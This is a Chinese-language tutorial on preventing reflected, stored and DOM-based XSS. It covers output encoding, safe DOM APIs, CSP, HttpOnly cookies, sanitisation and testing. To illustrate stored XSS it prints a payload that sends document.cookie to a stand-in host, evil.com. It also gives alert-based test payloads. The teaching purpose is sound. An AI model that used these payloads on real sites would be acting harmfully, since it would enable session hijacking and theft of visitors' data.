XSS 跨站脚本攻击防御:存储型、反射型与 DOM 型
XSS 跨站脚本攻击防御
跨站脚本攻击(Cross-Site Scripting,XSS)是 Web 安全领域最常见、影响最广泛的漏洞之一。它允许攻击者将恶意脚本注入正常用户访问的页面中,从而盗取用户身份、篡改网页内容或进行钓鱼攻击。本教程将深入剖析 XSS 的三种主要类型——反射型、存储型与 DOM 型,并为你提供一套立即可用的防御方案。
认识 XSS:原理与危害
XSS 攻击的基本原理
XSS 的根源在于 Web 应用盲目信任用户输入,并将其直接嵌入到 HTML 页面中。当浏览器解析包含恶意脚本的页面时,该脚本会在受害者的会话上下文中执行,仿佛它就是网站自身的一部分。
攻击流程通常为:
- 攻击者寻找一个能回显用户输入或存储用户数据的位置。
- 将精心构造的恶意脚本注入其中。
- 受害者访问被污染的页面,浏览器执行脚本。
- 脚本可窃取 Cookie、Session Token、个人敏感信息,或重定向到钓鱼网站。
前端安全的头号威胁
XSS 能造成的破坏远超想象:
- 会话劫持:
document.cookie可被读取并发送至攻击者服务器,导致账户被直接接管。 - 钓鱼与界面欺骗:恶意脚本可动态修改页面 DOM,伪造登录表单诱导用户输入密码。
- 键盘记录与敏感信息窃取:监听输入事件,上传键盘击键内容。
- 网页蠕虫传播:在社交平台等场景下,XSS 可利用用户权限自我复制,实现大规模传播。
三大 XSS 类型深度解析
反射型 XSS (Reflected XSS)
最典型的“一次性”攻击,恶意脚本并未存储在服务器上,而是通过引诱用户点击一个精心构造的链接来触达目标。
攻击场景:
一个搜索接口将用户输入的关键词直接回显在结果页上且未做转义:
https://example.com/search?keyword=<script>alert('XSS')</script>
如果服务端直接将 keyword 的值写入 HTML:
<div>您搜索的关键词是:${keyword}</div>
生成的页面就会变成:
<div>您搜索的关键词是:<script>alert('XSS')</script></div>
浏览器解析到 <script> 标签便会执行其中的 JavaScript。攻击者常通过邮件、即时消息等方式发送短链接诱使受害者点击。
核心特征: 恶意负载在 URL 参数中,服务端处理请求时动态生成包含该负载的响应。不持久化,需用户主动操作。
存储型 XSS (Stored XSS)
最具破坏力的类型,恶意脚本被永久保存在目标服务器上的数据库、文件系统或任何持久化存储中。每当受害者访问包含该数据的页面时,脚本都会被加载执行。
攻击场景: 一个论坛评论区允许用户直接输入 HTML 或未经过滤的文本:
评论内容:<script>new Image().src='http://evil.com/steal?cookie='+document.cookie</script>
该评论被存入数据库,以后任何用户打开该文章时,都会从服务器获取到这段恶意评论并执行其中的脚本,导致所有访问者的 Cookie 被泄露。
核心特征: 恶意代码存储在服务端,每次页面渲染都会从数据库中取出并注入 HTML。受害者范围广,无需点击特定链接。
DOM 型 XSS (DOM-based XSS)
完全发生在客户端,服务器返回的 HTML 页面本身是安全的,但页面中的合法 JavaScript 脚本通过危险的方式处理了 URL 中的参数、document.referrer 或其他不受信任的数据源,动态修改 DOM 时导致了脚本执行。
攻击场景: 页面存在如下脚本:
// 不安全的写法
document.getElementById('welcome').innerHTML = '欢迎 ' + location.hash.substring(1);
用户访问的 URL 为:
https://example.com/page#<img src=x onerror=alert(1)>
浏览器的 location.hash 被赋值给 innerHTML,img 标签的 onerror 事件处理器会触发弹窗。整个过程中服务器只返回了包含上述 JavaScript 的静态页面,并未收到恶意负载。
核心特征: 漏洞完全由客户端代码引起。数据源来自 DOM(如 location、document.referrer),并最终通过不安全的 sink(如 innerHTML、document.write)写入页面。
通用防御策略
输出编码:核心防线
根据数据被嵌入的上下文,选择正确的编码方式是防御 XSS 的根本。
| 上下文 | 编码规则 | 示例(将 <script> 转义) |
|---|---|---|
| HTML 文本节点 | HTML 实体编码 & < > " ' |
<script> |
| HTML 属性值 | 同上,并确保引号闭合 | <script> |
| JavaScript 数据 | \xHH 或 Unicode 转义,避免直接拼接 |
\x3Cscript\x3E |
| URL 参数 | URL 编码 encodeURIComponent() |
%3Cscript%3E |
| CSS 中 | CSS 转义,但尽量避免将用户输入放入 CSS | \3C script\3E |
实际做法: 永远使用模板引擎或安全库提供的自动转义功能。例如在 Vue.js 中使用 {{ }} 插值会自动 HTML 转义,React 的 JSX 也会默认转义。
上下文感知的转义
一个最危险的错误是:在 HTML 中转义了,却把数据放入了 <script> 标签内部的 JavaScript 变量:
// 错误示范
<script>
var userName = '${user.profile}'; // 如果 profile 是 "'; alert(1);//",则会被闭合
</script>
正确做法是先进行 JavaScript 字符串转义,再进行 HTML 编码,或直接使用 textContent、json_encode 等安全方法传递数据。
使用安全的 API 与框架
尽量避免危险的 DOM 操作函数:
| 危险 Sink | 安全替代方案 |
|---|---|
element.innerHTML |
element.textContent 或 element.innerText |
document.write() |
使用 DOM 创建方法如 document.createElement() |
jQuery.html() |
jQuery.text() 或 jQuery.attr() |
eval() / setTimeout(string) |
严格禁用,或仅使用可靠参数 |
location.href (用户可控) |
校验白名单重定向 |
内容安全策略 (CSP)
CSP 是一道额外的防御层,通过 HTTP 响应头或 <meta> 标签声明允许加载资源的来源,能有效缓解 XSS 影响。
一个严格的 CSP 策略示例:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; style-src 'self' 'unsafe-inline'; object-src 'none';
该策略指定:
- 所有资源默认只能从同源加载 (
default-src 'self')。 - 脚本只能来自同源和受信任的 CDN (
script-src)。 - 禁止内联脚本和
eval()(若移除了'unsafe-inline'和'unsafe-eval')。 - 禁止插件 (
object-src 'none')。
CSP 可阻止恶意行内脚本执行和外部恶意脚本加载,即使存在注入点也大幅降低风险。
HttpOnly Cookie
给重要的会话 Cookie 设置 HttpOnly 属性,这意味着浏览器将禁止 JavaScript 通过 document.cookie 读取该 Cookie。即使 XSS 成功,也能保护会话不被直接盗取。
Set-Cookie: session_id=abc123; HttpOnly; Secure; SameSite=Lax
输入验证与净化
虽然输出编码是关键,但输入验证是重要的辅助手段。
- 白名单: 仅允许符合预期的字符集,如用户名只允许字母数字下划线。
- HTML 净化: 若必须允许用户输入富文本(如文章内容),使用成熟的净化库如 DOMPurify(前端)、OWASP Java HTML Sanitizer 或 Bleach(Python),它们会基于白名单过滤标签和属性,移除危险部分。
- 拒绝非法数据: 不符合规则的数据直接返回错误,而非试图“清洗”。
分场景防御实战
防御反射型 XSS
- 永远不要信任 URL 参数、查询字符串。
- 服务端渲染时进行严格 HTML 输出编码。 使用模板引擎的自动转义,如 Java Thymeleaf 中的
th:text,Python Jinja2 中的{{ }}。 - 对搜索、错误信息等回显内容,同样必须转义。
- 如果返回 JSON 数据,确保
Content-Type为application/json,避免浏览器将其当作 HTML 解析。
防御存储型 XSS
- 在存入数据库之前进行输入验证,但这不能替代输出编码,因为数据可能在非 HTML 环境使用。
- 从数据库读取并输出时进行 HTML 编码,这是最后防线。
- 对允许的富文本内容使用 HTML 净化库,生成安全的 HTML 片段。设定严格的白名单,如只允许
b, i, a, p, ul, li等,且对a标签的href做协议过滤(仅允许http,https,mailto)。 - 考虑将用户生成内容放入隔离的域名(如
usercontent.example.com),利用同源策略限制恶意脚本的作用范围。
防御 DOM 型 XSS
- 审查客户端代码:找出所有从
location.*、document.referrer、window.name等可信源获取数据并传递给不安全 sink 的点。 - 使用安全方法操作 DOM:永远用
textContent代替innerHTML来显示不受信任的文本。 - 避免将不可信数据传递给动态执行上下文:如
eval、setTimeout/setInterval的字符串参数、new Function。 - 如需将服务端数据安全地传给客户端:
- 将数据塞入 HTML 隐藏元素,用 JavaScript 读取时采用
datasetAPI。 - 使用
JSON.parse()解析一个静态的<script type="application/json">标签内容,而非内联 JavaScript 变量。
- 将数据塞入 HTML 隐藏元素,用 JavaScript 读取时采用
- 使用前端框架的内置安全机制:Vue 的
v-bind和{{ }}、React 的 JSX、Angular 的模板都默认防范 XSS。
测试与验证
手动测试示例
- 反射型探测:在 URL 参数中插入
<script>alert(document.domain)</script>,若弹窗出现当前域名,则存在漏洞。 - 存储型探测:在表单字段中提交上述 payload,提交后刷新页面或让其他账户访问,观察是否弹窗。
- DOM 型探测:检查 URL 片段 (
#) 配合常见 payload,如#<img src=x onerror=alert(1)>,并在页面 JavaScript 中使用innerHTML的地方观察效果。使用浏览器开发者工具审查 DOM 变化。
自动化扫描工具
- Burp Suite / OWASP ZAP:强大的 Web 安全测试工具,可主动扫描 XSS 漏洞。
- 专用 XSS 扫描器:如 XSStrike、DalFox。
- 代码静态分析:ESLint 插件(如
eslint-plugin-no-unsanitized)可检测危险的 DOM 调用。SonarQube 等平台也能发现潜在的 XSS 风险。
总结
XSS 防御并非单一技术,而是一个分层的安全体系:
- 输出编码是绝对的核心,务必根据上下文正确实施。
- CSP 提供强大的缓解兜底。
- HttpOnly 保护最敏感的身份凭证。
- 输入验证与HTML 净化有效削减攻击面。
- 安全 API 的使用从代码层面避免错误。
始终坚持“不信任任何用户输入”的原则,并在开发的每一环节贯彻安全实践。通过本教程的指引,你可以为你的 Web 应用构建起稳固的 XSS 防线。